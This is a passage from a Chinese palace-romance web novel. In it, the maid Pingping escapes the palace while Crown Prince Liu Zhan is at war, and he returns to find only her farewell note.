萍萍被逼问得没法了，只好说实话：“他们说您开的方子里有附子，不能长期喝。” “我几时开过附子？”老妪大怒，过了会稍稍平复些，也想明白些，盯着萍萍语重心长：“老身从不开伤肝肾的方子，更何况是长期喝的。” 萍萍仔细回忆润州服药前后，心一下凉透——完了，柳湛是真的会杀她。 又想起初见胡员外家，她被打被拖出去，柳湛负手旁观，瞧着棍棒往她身上招呼，他的眼色始终淡漠，和看猫狗，看路边草木无甚区别。 琵琶炫技，刚好弹《十面埋伏》，两军决斗，剑马悲壮，萍萍不寒而栗。 辞别女医，前方高悬“与民同乐”的灯匾，往年由官家题，今年官家握不得笔，眼前四字是柳湛笔迹。人人喜气洋洋，笑逐颜开，可萍萍却哪里还乐得起来。 再往前一座比宣德门还高的灯山，用轱辘绞水上灯山最高处，木柜贮蓄，逐时放下，成一道灼灼流光的瀑布。 许多百姓排队朝水里掷铜板，姚书云眼生，问韩太医：“这灯瀑是不是以前没有的？” 又问：“他们为什么要往里面掷钱？” “我也没见过这个。”韩太医对视姚书云，不知道，她不在京中这几年，他没有再逛过灯会。 但旁边有热心快肠的路人，听见多嘴：“这银河瀑是前年扎的，反响好，就延续下来了。” “为什么要往水里扔铜板？”韩太医帮姚书云问。 “水火既济啊，许愿很灵的，什么求财啊，求姻缘……” 一下说中姚书云和韩太医心中所求，对视一眼，默契挪向队尾。 萍萍瞧着一对小情人默默无语的样子，旋起嘴角，正好，她早想单独逛，不然横在中间，姚书云和韩太医不好说话。萍萍转身背道走，不多时，身后男声温柔呼唤：“萍萍。” 耳熟却也陌生，萍萍转过身，瞧见裴改之锦袍玉带，手里提着一个兔子灯，含情脉脉正凝睇她。 萍萍马上去寻姚书云和韩太医身影，还好还在视线内。裴改之随之侧首，温柔一笑：“这里人多，我也不会拐你去偏僻地方，且放一百个心。” 萍萍垂首迈步，要绕过裴改之离开，裴改之面露痛苦色：“求求你别走，我就几句话，就在这说。” “你为什么总这样防备我？难道你真的都忘了吗？” “我们从前是夫妻啊！” 萍萍顿足。 裴改之再转半个身子，总强求四目相对：“你是我娘子，我是你官人，我们从前是对扬州寻常夫妻。可有人偏要做老天，拆散我俩。” 周遭人来人往，裴改之直勾勾盯着萍萍：“九死一生，我为了活下来再见到你，不得不隐姓埋名，改之改之，我的名是后来改的，我从前叫阿占，占卜的占。” “萍萍，你想起来了吗？”裴改之五官痛苦拧起，“我知道他的样子像我，你认错了官人，我不怪你，但每每见你对我避如蛇蝎，夫妻不能相认，我就心如刀绞。” 萍萍良久不语，而后缓慢抬手，似要抚触裴改之脸颊。裴改之立马主动把脸贴上萍萍掌心，抬手覆住她手背，脸和手夹着她的手反复摩挲，表情快哭出来。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 90-100 第91章 第九十一章 后会无期 萍萍却异常平静， 裴改之瞧着面皮白净，摸起来却不平整，能摸到许许多多小颗粒， 针绣线绣般凸起。 萍萍抬手缓慢， 抽手却果断迅速， 裴改之手脸皆一空，倏地睁眼，怔忪失神。 萍萍余光始终留意着姚韩二人， 眼瞅他俩掷了铜钱， 便也朝灯瀑走去，打算汇合。经过裴改之身边时， 他用只有自己和萍萍能听见的低声急道：“你如果想起来了，就去会宁殿找一个叫阿梧的内侍。” 萍萍动作一滞，凝眸。 裴改之越说越快：“我会在汴河通津门码头等你一起坐船回扬州。” 萍萍不表态，反而重新迈步走向灯瀑，裴改之边追边补充，这会敢用正常嗓门说话：“你一日不来我就等你一日，一年不来就等你一年， 一辈子不来就等你一辈子。” 旁边一路人听见， 啧啧称叹：“小官人痴情哦！” 痴情吗？ 萍萍觉得更类要挟， 她快步走到姚书云身边。姚韩二人排队时多在低头私语， 仅瞥过萍萍两、三眼，未瞧着手贴脸，只看见萍萍与一年轻男子交谈。 姚书云问：“你方才和谁攀谈呢？” “不认识， 一个问路的。”萍萍毫不犹豫回话，“我跟他说我也是第1回 逛灯会，不知道怎么走。” “问错人了……”姚书云呢喃， 目光搜过去，那年轻男子已不见人影。 三人继续前行观灯，一阵风吹来，一串串悬垂的莲花灯齐开齐转，璀璨夺目。而仨人身后，万千花灯一旦离远，就像极了天上的繁星，一时分辨不了天地界限。 花灯中，红烛融化，跃动的火苗映在灯罩上，瞬间变大数倍，其影熊熊如炬。 千里之外，雁门关，一位浑身是血的老兵举着火炬，丢进烽火台。 白光一闪，老兵被身后追来的黑衣蒙面人斩杀。 若干黑甲碧眼男子从外翻上石墙，与捉刀杀人者合力扑火，然而烽火台中囤放的苇杆一沾火就迅速蔓延蹿高，一座又一座烽火台得了信号，挨个点火，震耳的号角长吹三声。 “蛮人入侵——” 关内驿站，一队金字牌急脚递跃上千里马，向汴京方向疾驰。 * 萍萍再见 到柳湛，已经是元宵节后七日了。她偶遇太子步舆，跪拜后让到一旁。 萍萍始终低头，看脚边的靴子挨个经过，都走光了，等了一会，才起身往东宫走，忽听身后幽幽叹息：“你要去哪啊？” 萍萍一时没反应过来，仍往前走，直到身后那人唤了“萍萍”，她才意识到身后是柳湛，方才在同自己讲话。 “参见太子殿下。”萍萍转身，本能又要拜，下了步舆，孤身一人的柳湛定定看着她。 萍萍想了想，他刚刚问话呢，于是答：“回殿下，奴婢要回东宫。” 良久，柳湛慢道：“同路。” 萍萍不吱声了，垂地脑袋走在后面，像寻常宫人那样，无论太子快行慢走，均不逾矩。 “最近还好吗？”柳湛柔声询问。 萍萍点头，算作答。 正月宫中扎了不少假花，沿路不细看倒也万紫千红，柳湛时不时睨身侧萍萍，明明和以前一样，却总觉得有一处不对劲。 良久，眼看即将踏入东宫，他琢磨出来了——数十日未见，方才他在舆上瞧见她第一眼，心就慢跳半拍，犹如一位情窦初开的少年，两颊渐红发烫。 他迫切想和萍萍分享这些天自己周围发生的事，攒了一肚子话想和她说，可萍萍却一路都在做闷葫芦，导致他高涨的情绪也落下，没了开口的兴致。 柳湛抬脚，跨入东宫，口中叹息：“你现在和孤都没有话说了么？” 他印象里萍萍还是叽叽喳喳的样子，二人同路，她永远围着他边绕圈边倾诉。 怎么短短数日，她就变了？ 柳湛不由再次记起，近七日一直耿耿于怀，令他不快的一件事。 元宵节后一日，暗卫禀报灯会时不住摸鼻，刻意躲避对视。在柳湛的逼问下，暗卫支支吾吾道出萍萍在灯会上和别的男人执了手。 柳湛旋即追问何人？萍萍又和那人说了什么？ 暗卫却道：“属下不知是谁，那男子警惕极高，说话应该练过，唇动细微，属下隔得远，读不出唇语，只知道……只知道……他样貌同殿下有六、七分相似。” 和自己长得像？ 柳湛旋即思及藏在汴京城里的老鼠裴改之。 上回没将灭鼠，遗留祸患。 柳湛促眸觑萍萍，她和裴改之见面以后，约定了什么？竟让她死心塌地不再同自己讲话？ 眼看二人要分道，一个拐回小院，一个直走回寝殿，柳湛冷声下令：“先给孤铺设。” 萍萍瞥他一眼：大白天就寝？ 她屈膝应喏，行，太子想怎样就怎样。 到了寝殿，屏退左右，只萍萍躬身铺设，柳湛站在她身后，重新放轻柔声音：“是孤政务繁忙，今年没有陪你过元宵，冷落你了。” 前面两年元宵，他俩都相守在一起。 萍萍停下铺设，转过身来恭谨行礼：“殿下勤政，国之幸事。” 柳湛上身后仰，好似有猫爪挠心———他不是想听她拍马屁！ “你自己一个人……元宵节过得还好么？” 萍萍点头，示意还好，又觉得过了这么久他还追问，挺没意思的。 “都做了些什么？” “食元宵。” “什么馅的？” “黑芝麻。”其实萍萍还吃了豆馅，但是懒得事事向柳湛交待。 片刻，见柳湛没再问，萍萍转回身继续铺设，正放枕头时，忽觉腰间一凉，柳湛从背后抱住她问：“没去观灯？” 萍萍发现自己不再习惯亲密，本能挣扎两下，柳湛没想到她会抗拒，心中蹿起一团火，搂得愈紧，胸快嵌进她的背里。 萍萍缓勾右侧唇角，面浮一笑，但没有酒窝：“殿下想问什么？殿下不都知道么？” 柳湛从后握住萍萍右手，缓缓抬起，摩挲——是这只手牵的么？ 听说还贴脸上？ 柳湛冷笑着啄了一口萍萍手背，接着将她扳过来直接撕开袍服，数道裂帛声。 萍萍本能蜷身急呼：“殿下！” 她抬手下意识想推开柳湛，却想到天子之怒，浮尸百万，他是会杀她的，旋即为自己一路冷落柳湛感到懊悔、后怕，那两只抵在柳湛胸口的手立即上抬，变成勾住他的脖颈迎合。 柳湛圆睁的双眼却清晰睹见了她的抗拒，并沉浸其中，为之愤慨，竟不假思索，冲口而出：“你最好对得起孤！” “殿下、殿下，雁门急报！”门外内侍启先呼唤，无应声，便拍门。 柳湛屏退宫人内侍时，为防偷听，下过命令，若非紧要事不得再靠近。眼下内侍拍门，又是雁门急报，柳湛心道不好，瞥了萍萍一眼，交待：“边境恐有异动，孤先去处理，待会再回来找你。” 说罢匆匆离去，等柳湛的身影消失在视线里，萍萍身子一软，坐到床上。 她想起进从云宫那日，突然就告诫自己，这是陪柳湛最后一次。 萍萍苦笑，其实她那会就已想明白袁未罗被舍弃，却自欺欺人，也只有不挑破、含含糊糊地过日子，才能继续陪他走下去。 现在啊，挑破了，人错了，还恩威难测，恕不奉陪了。 …… 柳湛这厢，看完急脚递密报，指在桌上轻叩。 七日，距离蛮人进犯雁门已过去七日，只怕已再失一城。 可寻常从代州送信来汴京要走二十日，急脚递已是神行，无可指摘。 蒋经略相公要镇守西北，调动不得，本朝文重武轻，柳湛只得临时抽调两名老将，却在一月间被连破，丢第三城。 柳湛本就有九州同的志向，如今敌患犯国门之内，揎拳掳袖，便欲亲征。 却放心不下禁宫大宝，虽然官家每况愈下，口已难言，亦无法提笔下诏，但到底还有七、八、九大王。 于是，柳湛密召蒋望回。 蒋望回一进门，就见柳湛面前桌上，瓜形金盏里盛着一颗棕褐药丸。 柳湛眺向蒋望回，四目凝对，缓缓开口：“孤回京之日会给你解药。” 蒋望回毫不犹豫抓起药丸嚼烂咽下，跪地伏拜：“臣愿为殿下肝脑涂地，九死不悔！” 姚拱辰如今调任京畿，盘踞合围汴京，他想，姚拱辰应该也吃了一颗。 柳湛站起，绕至桌前扶起蒋望回：“你身为禁军统领，当稳固三衙并枢密院，守备京师，如有异动，及时向孤回报。” “臣一定不负重托，待殿下凯旋。” 柳湛指腹摩挲：“孤不在的这段日子，帮孤护好她。”柳湛担心的是自己不在宫中，有人欺负萍萍，“明枪易躲，暗箭难防，最好让她待在东宫里，哪里也不要走动。” “臣——遵旨。” 柳湛随后去见了萍萍，这回不像之前那样翻窗，入小院跃下马，径直叩门。 手悬在空中时他想，最近两回见面皆不欢而散，出征前这一次要对她好点，实在不行陪个礼，哄一哄，不要再争执了。 于是门打开时，柳湛笑若春风，含情凝睇。 萍萍旋即行礼：“奴婢参见殿下。” 柳湛进屋，反手关门，目光却始终胶着在萍萍脸上，他们见面的日子越来越少，实在是太想她了。 萍萍想的却是伴君如伴虎，不要再激怒一只恶虎，要顺毛，见柳湛走近有意相拥，她就主动往他怀里虚靠。 柳湛怔了下，继而漾开唇角，堂堂太 子殿下竟现出孩童般的笑颜。 他坐到桌上，欲拉她坐于膝上。 萍萍顺从着坐下，口中却道：“奴婢身上不方便。” 柳湛一愣，军情紧急，他不是昏君，不会为了风花雪月耽搁一晚。自己的计划是同她道个别就走，要赶在日落前祭坛启程。 柳湛虽然没有临幸心思，但记得萍萍不是这几日，不禁关切：“怎么这几日来了？不是月底么？” 萍萍身上其实干净，只是不愿承欢，找个理由。 柳湛追问她也面不改色，嗔道：“还不是因为殿下之前给奴喝多了避子汤，导致月信没个准了。” 柳湛闻言心一阵抽疼，面露愧色。 她冷冷瞧着他低头愧疚，再不敢追问的样子，少顷，柳湛躬身压低下巴，吻了上来。 萍萍唇不动，由他粘着，四瓣唇才只贴了几刹，她就想：还多久结束啊？怎么还没吻完？ 柳湛却举了下萍萍胳膊，示意她双臂搭他肩上。 萍萍遂像从前那样，胳膊搭着手抓着，搂住他的脖颈，柳湛愈发心潮澎湃，想着她的配合，念着进屋时她主动扑入自己怀中。 她果然还是他的萍萍！ 来之前他还在担心之前吵的架没有和好，是他想多了，夫妻床头吵架床尾和，哪有隔夜的仇。 柳湛身心好似浸在蜜罐里，紧闭两眼沉溺于这个吻，两侧嘴角却高高扬起，笑逐颜开。 吻完，他喘着气再啄向萍萍额头。 “殿下。”萍萍唤道。 柳湛唇与她的肌肤分开，微微后仰，凝视她的眉目。 萍萍一脸诚挚，眼眸清澈：“请您一定驱除蛮夷，保国安民，还天下太平。” 柳湛颔首：“一定。” 又想，家国之下，她没有儿女私情要同他说吗？ 萍萍道：“殿下快去吧！战事吃紧，耽误不得。” 柳湛隐隐有些失落，又想这就是他的萍萍，识大体，知轻重缓急，永远体谅他。柳湛自己亦记挂军情，起身道：“好，那你等孤回来。” 且话别离，千言万语情双好，都等他凯旋再提。不急，他俩往后都是好日子了，长长久久，百年好合。 柳湛走到门口禁不住再回望一眼，萍萍笑着点头。 柳湛也笑，心里踏实且充满希冀和气力，翻身上马，疾驰出宫。 萍萍敛起笑意，纵使柳湛不出征她也会离开，眼下出征会更容易些。 自此别过，后会无期。 第92章 第九十二章 跑 萍萍之前了解过， 从汴京到代州，行军星夜兼程也要十数日，所以她没着急走， 先等七日， 确定柳湛一路北上， 不会折返后，才将夕照送的书签帕子揣进袖袋，另外并这些年攒下来的金子， 随身揣了两锭。 不考虑携带交子， 因为上面有独一的票号，用出去容易被找到。 宫中之物亦不方便典当， 萍萍这三年攒下的一样也不打算带走，捡了二十七样没用过的物件，一起装在一个四四方方，双手能捧的木箱里。 萍萍捧着箱子，出了小院，行不到一刻钟，迎面遇上俩宫人， 她俩之前就非议过萍萍， 斥其不知廉耻， 纠缠殿下， 现在已经不敢当着萍萍面说了，但会绕到她背后，远远瞅着交头接耳。 会有一些嘀咕声传进萍萍耳中， 不辨字句。 她要顺利出宫，不想节外生枝，便当作没听见， 却听后面有男声低斥：“不好好做事，在这里嚼舌！” 这声音熟悉，萍萍转身，果然瞧见俩宫人灰溜溜绕过蒋望回，垂首低头跑远。 萍萍快步上前：“殿帅。” 蒋望回眉尾微蹙，她怎么又称呼殿帅了？ 这不是最要紧的事，蒋望回启唇先开导萍萍：“世上宵小多……”本来想说屈子说过，女嫉蛾眉，才谣诼善淫，但这样的话他不好意思讲出口，便换了个说法：“称、讥、毁、誉、利、衰、苦、乐，谓之八风，菩萨八风不动，端坐莲台。” “那殿帅是不是也是八风不动？”萍萍笑问，“还是动了几风？” 蒋望回心头一颤，低头。 “怎么又呼我殿帅了。”他笑，一开始两字没抑住颤抖，后面就稳了。 “人多耳杂，所以这样称呼。”萍萍直言，“我正好在找你，有没有方便说话的地方？” 蒋望回熟悉禁宫各处，思忖一霎，就近引路，又瞥向萍萍手中箱子：“要不要我帮你抱？” 萍萍摇头：“不重，不用。” 蒋望回没再坚持，领着萍萍来到附近八角亭内，六面白墙围住石桌石凳，足够私密，但亦有六扇月门可以从外瞧见两人对坐，隔着距离，避免瓜田李下。 亭边池塘尽是枯败折断的荷茎，一列灰鸭从左往右游，引起一行水波。 萍萍盯着鸭子，蒋望回瞧见她脸上紧张，微笑：“有鸭无人，娘子且宽心。”又问，“是有什么事情？” 萍萍将木箱放到桌上，打开，里面有碟、碗、金泥、彩墨、线香、布偶等等，琳琅满目，皆是崭新。 萍萍笑道：“只前年送过你生辰礼，缺二十七年，逐一补上。” 蒋望回生日尚早，第一反应此话不真，人若云上飞，身不着地，心不踏实，却又禁不住翩翩然，御风得意，恍惚间难抑笑意。 “能不能帮我弄到蒙汗药和软筋散？”萍萍先送礼，后求人。 果然，蒋望回整个人从云端垂直坠落，这回踏实了，却也跌个粉碎。 他已经几分想明白这些礼物从何而来，定定看着她：她要药谁？ 蒋望回喉头滑动，终是自问，没有问她。 萍萍手探向木箱上空：“殿帅不帮忙，那礼物就没有了。” 蒋望回瞧她巧笑倩兮，心一慌抬手摁住木箱，力道稍重，箱盖旋即盖住。他怕夹到她的手，低头看了一眼。 片刻，蒋望回喉头再次滑动，收走礼物，许诺萍萍：“明日给你。” “明天还约在这里吗？”萍萍追问。 蒋望回应允时已经想好：“不在这里，娘子可知自己住所后面有间红梅阁？” “知道。” “那里约见吧，午时三刻。” “好。” 翌日，萍萍提前了一刻钟赴约，没想到蒋望回比她还早，已经候在阁中。 萍萍还是第一次来这后面，透窗望去，梅花尽谢，枝头都光秃秃的，等等，怎么还有几个花苞？ 她定睛细辨，原来是夹在梅树丛中的一树桃。 “桃花快开了。”蒋望回跟在她身后眺看，不过仅只这一句，接下来就不知道再闲聊什么，索性直入正题，一包包递给她，一样样交待清：“这是蒙汗药。这是解药。在下没有软筋散，但这香能让人筋骨酥麻，这一瓶是解药，点香前含一丸在舌下，可保自己清明。” 萍萍闻言，做势就要点香，蒋望回本能抬手，再下一刹就放下，没有阻止她，反而提醒：“点之前你要先含一丸。” 然后他被放倒，她就可以出宫了。 萍萍却收起香。 蒋望回明显愣了下，萍萍已拱手告辞。 蒋望回原先下巴压低，头微垂，这会抬起，目送萍萍远去。 萍萍用起柳沛传授的隐息匿气法，悄悄来到会宁殿找阿梧，一番沟通，竟是跟着夜香车偷偷出宫。 “是跟不是藏在夜香桶里吧？”萍萍忍不住确认。 那叫阿梧的内侍回道：“娘子想藏在桶里也行。” “那还是跟吧……” “那你赶紧回去收拾下，今晚太阳落山后，戌时以前再到会宁殿来找我，不要带包袱，可以揣点银钱出了宫再置办行头。” “今晚？会不会太赶？” “你不想早点出宫吗？”阿梧道，“宁早勿晚。” 一般月中送的夜香多些，人手更多也更臭，更利于蒙混过关。 萍萍想想，该收拾的差不多收拾好了：“行，那就今晚走！” 她回院里写了张笺，用柳湛送她的月钗压在桌上。没有同姚书云道别，径直出院，运气好，出东宫沿路只遇见两位宫人，就是当初和她一起分进来的花照和金照，如今也才十五、六岁，却不复那日殿中活泼多话，垂低脑袋侍奉在门口，犹如两只老龟。 出东宫后天已全黑，她又用上隐气匿息，愈发无人知晓，眼瞅着快到会宁殿，忽然察觉一黑黢黢影子不远不近跟在她身后。 萍萍在树丛后停步，回首，黑影上前按着她的脑袋一压。两名禁卫提灯经过，未发现二人。 待禁卫走远，黑影笑道：“小心点呀。” 萍萍借朦胧月光，辨认出柳沛眉眼。 他与萍萍对视，挑了挑眉：“这有什么好吃惊的？你这招还是本王教的。” 又笑，“说来，本王行迹皆被盯梢，才不得不藏息匿气，你怎么也跟本王一样鬼鬼祟祟？” 萍萍缄默，她知太子多疑，出征后必定忌惮皇弟，监视着柳沛的一举一动，阻其联络宫外或官家。 萍萍朝柳沛挤出一笑：“哪有人说自己鬼鬼祟祟的。” 良久，柳沛轻笑：“走吧。” 萍萍怔了下，对着柳沛鞠了一躬，而后调转身朝会宁殿赶去，大步流星不回头。 是夜运送夜香的车队没有经过宣德门，走的是柳沛之前拐她去斗茶的偏门。裴改之果不其然得了消息，没有像他说的那样等在通津门码头，反而驱车候在宫外不远处。 裴改之赶车，萍萍在厢内更衣，刚换好不久裴改之就告知抵达。 她挑开车帘，前方码头人来人往，夜里仍繁忙卸货，石碑上镌刻“同津门”三字。 裴改之抬臂欲给搭把手，但萍萍没扶，自行跳下车。裴改之也不恼，笑道：“船在那边等着。” 汴河夜里水雾苍茫，萍萍和裴改之先后上船，小舟摇晃，水声回荡。萍萍站在甲板上回望禁宫方向，裴改之见状亦眺，冷道：“走吧，宫里那些人和我们不是一类人。” 萍萍钻进船舱。 岸上码头，蒋望回隐在凉棚后，侧半身只露一双眼，遥遥注视。 滔滔汴河，往上汇汾水支流，狭窄处几浅成溪。携带所掠金银财宝，水陆并退的蛮人就在这溪涧与太子亲兵狭路相逢，柳湛身前身后被仨蛮人骑兵包围，他单手勒缰，整个身子离马悬空，剑舞梨花，左抵右挡，冲出重围后拍马踏水，再驰骋快些。 擒贼擒王，渐渐追上前面一人一骑的蛮人先锋大将。 “驾——”那蛮将也在拼命往前逃窜，距离再次拉开。柳湛技高胆大，竟对准蛮将掷剑，一剑戳入铠甲，透穿蛮将心房。 这一击全神贯注，用了十足内力，不设防后面有一支冷箭袭来，柳湛心下一惊，仰面躲避，那剑嗖嗖擦面而过，在他颊上划出一道血痕。命悬一线间，他脑中闪现的竟不是江山社稷，一代雄主，而是萍萍一笑两个酒窝，心中竟只有忙于政务的懊悔。 此役大捷，众将欢呼，柳湛坐于马上，一只手去摸腰间，那里系着萍萍赠予的平安符。他再低头看胸口，铠甲内揣着她送的星簪。 他仍因自己方才本能的所思所想怔然。 是月，太子前军夺回一城，亦在西路大败蛮军。 而后挥师北上，一月内顺利收复另外两城，将蛮人逼出代州，退至雁门关外。太子犹嫌不够，出关直攻到云内州、东胜州，合敕勒川、白道川，分六路盘踞包夹丰州。 直到蛮人乞和，才罢兵息战，结丰州之盟。 时过半载，王师在秋日凯旋。 柳湛每停一处，皆在军帐中处理政务，那帮留守东京的文官什么都报，竟然重提册立太子妃事，甚至还顺带附上了礼单。 第93章 第九十三章 她不要他了 柳湛发笑， 将礼单随手放到一旁。他本来准备翻开下一本奏章，却鬼使神差拿出随身携带的，萍萍那张薄纸户籍。 不出意外， 他今年就能登大宝， 潜邸旧人更易封妃， 柳湛铺开一张未写过的黄麻纸，提笔在萍萍的名字后册封奉仪。 他再思忖，太子妃日后固然是皇后， 但太子良娣亦是四妃， 又将萍萍的位份改作良娣。 少顷，又改成太子妃。 刚写完， 毫笔还攥在手上，脑中却浮现从云宫中，将月钗簪入她发髻那一霎，又想前些天丰州会盟，打赢了仗大伙都在庆功，喜洋洋、闹哄哄，他看着众人载歌载舞， 把酒言欢， 却觉万籁俱寂， 眼前的人物毡房一瞬全消失， 湛蓝天空幽幽碧草，只有萍萍从天际线处朝他越走越近，流眄溢彩， 双靥涡旋。 他心底有一个声音像青草一样疯狂生长，呐喊：她是他的妻，唯一的妻！ 继而思及那年大雪， 阁中奏琴，与她遥为知己。 柳湛朱笔匆匆划去太子妃，不、不，还不够，她不该是他的附属，应该并立，柳湛激动难以自抑，无可言状，难组词句，搁笔起立仍未缓解，反而心潮逐浪，倒海翻江。 他情不自禁步出帐外，眺望大好江山，握拳溢笑，他要昭告天下，要正大光明回报她的爱，告诉这世间所有人，她是他今生唯一的妻！ “拔营！”柳湛朗声下令，要早点回去，越早越好，迫不及待要同她团聚。 他仔细沐浴，彻底洗去身上的血腥味，之后每日都熏萍萍最喜欢的橘子香，还特意刮干净多日未理的胡茬，免得到时候亲热划伤她。 * 禁宫，秋意萧瑟，银杏又落一地黄。 驿使进屋跪地，拱手禀报：“殿帅，太子殿下已经离开太原府抵达上党郡，不日将近京畿。” 此乃例行通传，从丰州到太原府，一城一报。蒋望回每日亦会递呈太子一封密信，汇报京中事宜。 今日的信刚写好，比平时改动数句，提及萍萍离京。 蒋望回拾起犹带墨香的书信，交给驿使：“将这封密报送于殿下。” 翌夜，新月如钩。 太子一人一骑，急驰出上党，在官道上狂奔。马蹄阵阵，响得柳湛心乱，隔三差五收到蒋望回信报，她一直在宫里好好的，怎么突然就离宫了呢？ 可是被人劫持？ 柳湛一时就想到数名有嫌疑者。 “驾——”柳湛打马涉溪，溅起的水花打湿了他的墨靴和袍角，却不管不顾，月光照下，他脸色恍白。 出上党，过泽州，一路不停不歇，穿越京畿大营时，姚拱辰正率人候在门口，本欲迎接大军，却只见柳湛一人，姚拱辰讶异：“殿下？” 他坐下驾雾见到胞胎腾云，摇摇鬃毛，嘶鸣雀跃，腾云却无回应，柳湛呼道：“下马！” 姚拱辰闻言遵旨，翻下马时，腾云正经过驾雾身侧，柳湛直接跃起换马，骑上驾雾，腾云再跑不得了。 “驾——”他头也不回，横穿京畿大营，两侧黄土扬起，袍角后飞。 “殿下？殿下！”姚拱辰一头雾水，在后连追数步，哪里追得上。 秋雨湿洒，如丝如缕，柳湛眼前模糊，不得不促起眼：“驾——” 若离弦之箭，赶在门禁落下前射入汴京，他双腿夹紧马腹，几乎全程站起，绕过御道入宫。 蒋望回很快迎过来：“殿下。” 柳湛不语，驰骋经过御池，蒋望回跟着身后，雨水滴滴打在湖面，激起涟漪。 他先入东宫寝殿寻找萍萍，蒋望回跟着入内，一进门就跪倒匍匐：“殿下，微臣失职，甘受责罚！” “你是该罚。”柳湛说着将解药丢给蒋望回。 柳湛在寝殿找了一圈不见萍萍，心跳剧烈且杂乱，呼吸艰难，以至于分唇吸气。 他不敢相信萍萍就这么走了，甚至不敢提那几个字，仿佛不承认她就还在：“何时发现的异常？可是有人与孤作对？” 蒋望回私自压了半年，此时额头贴地，道：“殿下，萍娘子是自己要走的。” 柳湛回首，冷冷晲蒋望回一眼，待会再来查清他话中真假，先找到萍萍。 出寝殿，沿路各处找遍，最后才敢寻向萍萍所住小院，进去后石桌石椅和他离开时一模一样，明明没有变化。 所以她也肯定没变，就在屋里等着他。 想到这柳湛燃起希冀和惊喜，脚下不由自主加快，到萍萍门前却陡然刹住。他自欺欺人地想，自己不是害怕，只是淋雨湿身，恐将她房中弄脏。 柳湛褪甲，在门外伫了半晌，雨都停了，再无理由拖延，才抬手叩门：“萍萍。” “萍萍？” 无人回应，倒是小院中枯叶被风刮下，萧瑟落地。 柳湛手抖着推门，门没锁，里面所有的东西都被收拾得整整齐齐，茶盘和盏壶都还在桌上，他和萍萍曾坐在桌边喝水谈天，床边帐幔对开束好，他曾在这张床上和她翻云覆雨，抵死痴缠，明明那时亲密到你揉入我，我融入你，怎么就会分开呢？ 他脑海里响起蒋望回的话，“殿下，萍娘子是自己要走的 “，竟不是他人强拆，棒打鸳鸯，竟不是苦衷，而是她自愿要走。 自愿二字，好似一把刀，片片剜着柳湛的心肉，他痛苦地攒起眉头，疼得站不住，手扶桌坐下，大口喘气，却越喘越急，胸闷到窒息。 柳湛早瞧见桌上的月钗和下压的长笺，却一直视线躲避，安慰自己她只是今日没戴而已，到现在，避无可避，柳湛颤着手移开月钗，去拿纸笺，指尖冰凉。 认错郎，三年误，自此别过，后会无期。 柳湛反反复复读笺上字，多么希望自己不认识字，认错郎，她还是知道自己认错了人么？ 柳湛心里那股被他刻意压制、忽略的偷来恐慌终于决堤，再压不住，弥漫身心。他盯着月钗，眼热心凉，她连这支钗也不要了吗？ 她不要他了。 可是不行啊！他如果没有遇见萍萍，尚能在暗处独活，但被她的赤诚照亮温暖，他也已经把自己的心交了出去，又怎么能失去？ 没有她，他活不下去的…… 秋雨阴天，光线合该昏暗，夜明珠却将整间屋照亮得像好天气，好太阳。 骗他，他的太阳已经走了，偷来的终究要还回去……柳湛脑中忽然浮现一少年立于船头甲板，迎风眺望前方喧嚣码头，蓝袍墨带，那是十七岁的自己。 柳湛突然倾身呕出一大口血，庆丰十三年，太后骤然中风，卧床失语，太医局擅治中风的令太医刚好致仕回江南老家，他不是急得想去江南找令太医，而是真去了润扬。 江风微冷，阳光却和煦，顺潺潺流水一路南下。 浮生暂寄梦中梦，世事如闻风里风。 他和数名船客一起，挤在船头眺望，这扬州的码头与别处不同，岸边全是画舫，艘艘甲板上摆满鲜花，时不时闻欢声笑语。柳湛怔怔瞧着，旁边的中年船客睹见他模样，笑道：“小官人是第1回 来吧？” 柳湛不辨船客神色间的暧昧，点头：“是！” 是少年特有的脆音。 船客眯眼勾唇：“我们都是来玩的，好好玩。” 柳湛直言：“我不玩，我是来给我嬷嬷治病的。” 舟已抵岸，船客们没再理会柳湛，争先恐后下船，柳湛虽也心急，却怕拥挤推搡，伤到众人，主动让到最后一位，口中不住提醒：“大家小心点，谨防踩踏！” 没人听他的，船客们一溜烟散走，柳湛下船后即同码头上遇到的第一个人打听：“小哥，请问您听说过一位回乡的令太医吗？他姓令，双名文佐，今年才退闲还家。” 柳湛打听那人短褐围裙，麻裤蒲鞋，手上还拧一壶酒，像是位跑堂，闻言堆笑：“小官人问我算是问对人了，我从前就在令太医府上做事。” 柳湛眼睛放亮，唇角也不自觉扬起，拱手施礼：“那拜托小哥引路，带我去见令太医！” “只是……”提酒的小哥却沉吟，“我已经不敢去了……” “为什么？” 提酒小哥犯难：“之前家中老母重病，找他借了二十两银子，后来母亲去世，这钱一直没还上，就……不敢去。” “孝义人之常情，我帮你还！”柳湛毫不犹豫许诺。 提酒小哥拿眼上下打量柳湛，柳湛也跟着低头瞧自己身上。 小哥见这冤大头不懂，只得咳两声指点：“咳、咳，我要先还上才有颜面去见他呀！” “哦、哦。”柳湛连忙掏出一锭银，约莫比二十两多点，交到小哥掌心，按他手包住：“拿这个去还吧。”他诚恳央求：“还劳烦小哥早点带我去——”柳湛话未说完，忽有人经过撞上，半凉水泼上柳湛胸口，来人立马攥帕擦拭。柳湛只觉有人在自己胸前乱摸，心口一热，下意识捉住那人手，却见一对杏眼，雪肤朱唇，竟是位十分年轻，顶多只十六、七的小娘子，柳湛立马脸涨通红，从面颊至耳根，比她的唇还艳。 那小娘子道：“这里人马下船，小官人我们别挡着，到旁边给你擦吧。” 柳湛哪里敢再对视，红脸低头随着她走，如绳牵木偶，完全没自己想法。提壶小哥见人跑了，冲着小娘子唾了句：“臭婊。子又上赶着卖！” 骂骂咧咧走进一艘画舫。 舫内四、五名男子，临门一位笑问：“三六，什么事情让你这么气大？” 提壶男子冷哼：“本来有一块送上门的肥肉，叫萍萍那小娼。妇截走了。” 众男闻言都哈哈大笑，说你何必同他一般见识，唯独坐上首主座，左拥右抱的男子冷着脸，仔细看他最年轻，约莫二十出头，容貌亦是舫中最英俊的，五官深邃，美中不足皮肤黝黑。 他不言不语，朝左侧窗外眺了一眼，正是小娘子携柳湛离去方向。 …… 小娘子将柳湛带离了近百步，这边亦是成排画舫，但远离方才那艘。小娘子才道：“我用的是干净水，一会干了不会弄脏你的袍子。”小娘子上手又要替柳湛擦拭，“方才那个人叫三六，他根本不认识什么太医，就想骗你的银子。你没听他答你都用的‘他’，到时候诓完你的钱，就会说‘我说的他又不是太医’。”久不闻应声，她抬头直直看向柳湛，“我说的你能明白吗？” 